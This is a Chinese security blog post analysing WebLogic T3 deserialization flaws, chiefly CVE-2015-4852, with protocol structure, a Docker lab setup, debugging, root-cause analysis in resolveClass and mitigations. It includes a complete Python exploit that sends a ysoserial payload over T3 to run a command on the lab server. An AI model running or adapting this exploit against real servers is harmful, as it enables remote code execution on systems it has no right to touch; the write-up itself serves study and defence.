Java安全之初探weblogic T3協議漏洞

nice_0e3發表於2020-12-28

Java安全之初探weblogic T3協議漏洞

文章首發自安全客:Java安全之初探weblogic T3協議漏洞

0x00 前言

在反序列化漏洞裡面就經典的還是莫過於weblogic的反序列化漏洞,在weblogic裡面其實反序列化漏洞利用中大致分為兩種,一個是基於T3協議的反序列化漏洞,一個是基於XML的反序列化漏洞。當然也還會有一些SSRF和任意檔案上傳漏洞,但是在這裡暫且不談。

下面來列出兩個漏洞型別的一些漏洞編號

基於T3協議漏洞: CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883

基於XML:CVE-2017-3506、CVE-2017-10271、CVE-2019-2729

粗略的列了幾個代表性的CVE漏洞。

在Weblogic中,有部分漏洞是基於上幾個漏洞的補丁進行的一個繞過。而在前一段時間內,CVE-2020-14882和CVE-2020-14883裡面14883就是基於14882的補丁去進行的一個繞過。

0x01 淺析T3協議

關於T3協議的絮絮叨叨

關於這個T3協議,他是Weblogic裡面獨有的一個協議,在前面寫的一篇關於RMI的文章裡面提到過RMI的傳輸過程是傳輸的序列化資料,而在接收後會進行一個反序列化的操作。在Weblogic中對RMI規範的實現使用T3協議。而在T3的傳輸過程也是一樣的。

下面對T3協議的傳輸過程、如何執行的反序列化操作、T3協議的執行流程去進行一個分析。

在之前先來看一張weblogic進行反序列化的執行流程圖。

這裡借用了一個圖片,在該漏洞的一個入口點是weblogic裡面的方法呼叫了原生的反序列化方法進行一個反序列化操作。

而這裡還需要知道該方法在傳輸完成後是如何進行呼叫的。關於原生反序列化的操作原理這裡就不講了,可以看到我的該篇文章。

Java安全之原生readObject方法解讀,這裡主要來講一下T3協議的相關內容。

T3協議概述

WebLogic Server 中的 RMI 通訊使用 T3 協議在 WebLogic Server 和其他 Java 程式(包括客戶端及其他 WebLogic Server 例項)間傳輸資料。

T3協議結構

在T3的這個協議裡面包含請求包頭和請求的主體這兩部分內容。

請求包頭

這裡拿2個CVE-2015-4852的POC來進行講解。

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

這裡就是他的請求包的頭。

使用Wireshark對它進行抓包,由於配置的網路卡抓不到包,靶機地址會在23段和1段的ip中來回切換。

這裡為了能抓到包配置了一個nat模式的網路卡,進行抓包,地址為192.168.23.130,改一下poc的目標地址,傳送payload。

在這裡在傳送請求包頭的時候,打了個斷點,讓指令碼只傳送請求包頭資料,方便抓包。開啟Wireshark抓包後發現,傳送該請求包頭後,服務端weblogic會有一個響應

HELO後面的內容則是被攻擊方的weblogic版本號,在傳送請求包頭後會進行一個返回weblogic的版本號。

請求主體

在T3協議裡面傳輸的都是序列化資料,這個在前面也說過,而傳輸中的資料分為七部分內容。第一部分為協議頭。即t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n這串資料。

來看到下面的圖,圖片取自z_zz_zzz師傅的修復weblogic的JAVA反序列化漏洞的多種方法文章。

看到第二到第七部分內容,都是ac ed 00 05,說明該串內容是序列化的資料。而如果需要去構造payload的話,需要在後面序列化的內容中,進行一個替換。將原本存在的序列化內容替換成我們payload的序列化內容,在傳輸完成後,進行反序列化達成攻擊的目的。

- 第一種生成方式為,將weblogic傳送的JAVA序列化資料的第二到九部分的JAVA序列化資料的任意一個替換為惡意的序列化資料。
- 第二種生成方式為,將weblogic傳送的JAVA序列化資料的第一部分與惡意的序列化資料進行拼接。

0x02 漏洞環境搭建

環境搭建

這裡借用了A-team 的weblogic漏洞環境專案來做搭建環境,省去不必要的麻煩。

漏洞環境地址:https://github.com/QAX-A-Team/WeblogicEnvironment

jdk地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

weblogic下載地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

這裡需要把下載好的jdk檔案放在該專案的jdks資料夾下,weblogic的原始碼放在weblogics資料夾下。

編譯執行

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

然後在這裡需要去將一些weblogic的依賴Jar包給匯出來進行遠端除錯。

mkdir ./middleware
    
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
    
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
    
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

如果不想這麼麻煩的話可以直接執行對於的.sh指令碼,比如這裡安裝的是1036 jdk是7u21 ,直接執行run_weblogicjdk7u21.sh,自動安裝以及自動從容器裡面匯出jar包。

遠端除錯

在這裡將jar包複製到物理機上,然後開啟IDEA建立一個空專案進行匯入。

完成後就來配置遠端除錯

為了測試,這裡使用WeblogicScan來掃描一下,看看在斷點地方會不會停下。

在這裡發現已經可以進行遠端除錯,後面我們就可以來分析漏洞了。

0x03 漏洞分析

漏洞復現

在這先來講漏洞復現一下後,再進行漏洞的分析

還是拿exp為例子,但是我們這裡是docker搭建的環境,也沒有構造回顯。常用的彈出計算器,就算執行了也沒法顯示出來,所以在這裡使用建立檔案的方式驗證該漏洞是否利用成功。

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #資料包長度,先佔位,後面會根據實際情況重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3協議頭
    flag = binascii.a2b_hex(b"fe010000") #反序列化資料標誌
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新計算資料包長度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.1.40"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/CVE-2015-4852"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)

執行完成後,檢視docker容器裡面的檔案。

docker exec  weblogic1036jdk7u21 ls tmp/

執行成功。

在執行exp的時候,如果開啟debug去檢視其實不難發現,傳送t3的報文頭資訊以後會在返回包裡面回顯weblogic的版本號。

可以看到,後面通過正則提取了返回包的資料,拿到該版本號資訊。

漏洞分析

T3協議接收過來的資料會在weblogic.rjvm.InboundMsgAbbrev#readObject這裡進行反序列化操作。

來直接定位到該位置,可以看到斷點的位置,裡面呼叫了InboundMsgAbbrev.ServerChannelInputStream#readObject方法,檢視一下

這裡呼叫建立一個內部類,並且呼叫readObject方法,還需要檢視一下 ServerChannelInputStream實現。

在這裡其實就可以看到ServerChannelInputStream是一個內部類,該類繼承ObjectInputStream類,而在這裡對resolveClass進行了重寫。

但是在此處看到,其實呼叫的還是父類的resolveClass方法。在resolveClass方法中也沒做任何的校驗,導致的漏洞產生。

後面來講講如何防禦到該漏洞。

再談resolveClass

resolveClass方法的作用是將類的序列化描述符加工成該類的Class物件。

前面分析readObject方法的時候,我們得知了shiro就是重寫了resolveClass方法導致很多利用鏈無法使用,但是shiro在編寫的時候,並不是為了防禦反序列化漏洞才去重寫的resolveClass,但是就是這麼一個無意間的舉動,導致了防禦住了大部分攻擊。

而在後面的weblogic補丁當中,也會基於這個resolveClass去做反序列化漏洞的防禦。

貼上一張廖師傅的部落格的反序列化攻擊時序圖:

那麼這裡需要思考到一個問題,為什麼要在resolveClass進行一個攔截,而不是其他位置?

resolveClass方法的作用是從類序列化描述符獲取類的Class物件,如果在resolveClass中增加一個檢查,檢查一下該類的序列化描述符中記錄的類名是否在黑名單上,如果在黑名單上,直接丟擲錯誤,不允許獲取惡意的類的Class物件。這樣以來,惡意類連生成Class物件的機會都沒有。

來看到這個方法,在我的readObject分析文章裡面貼出來一張圖,readObject的內部使用Class.forName來從類序列化獲取到對應類的一個Class的物件。

那麼如果這裡加入一個過濾,那麼這裡如果直接丟擲異常的話,在readNonProxyDesc呼叫完resolveClass方法後,後面的一系列操作都無法完成。

參考文章

http://drops.xmd5.com/static/drops/web-13470.html

https://blog.knownsec.com/2020/11/weblogic12c-t3-%e5%8d%8f%e8%ae%ae%e5%ae%89%e5%85%a8%e6%bc%ab%e8%b0%88/

http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/

https://xz.aliyun.com/t/8443

0x04 修復方案

這裡借鑑z_zz_zzz 師傅的文章中提到的weblogic T3協議漏洞的修復方案,除了打補丁外還有其他的修復方案,先來說說打補丁的方式,打補丁其實也是在resolveClass方法中實現攔截。

開放在外網的情況下,還可以採用web代理和負載均衡。

web代理的方式只能轉發HTTP的請求,而不會轉發T3協議的請求,這就能防禦住T3漏洞的攻擊。

而負載均衡的情況下,可以指定需要進行負載均衡的協議型別,這麼這裡就可以設定為HTTP的請求,不接收其他的協議請求轉發。這也是在外網中見到T3協議漏洞比較少的原因之一。

0x05 結尾

在這裡其實分析比較淺,因為反序列化操作和CC鏈這一塊,我覺得應該單獨拿出來說,而不是整合到這個T3協議漏洞裡面一併概述。所以在此處並沒有對這兩塊內容進行分析,而這兩塊內容在前面都有進行分析過,自行查閱。後面的幾個T3協議的漏洞,其實也是基於resolveClass的方式進行攔截過後的一個繞過方式,成了一個新的CVE漏洞。

相關文章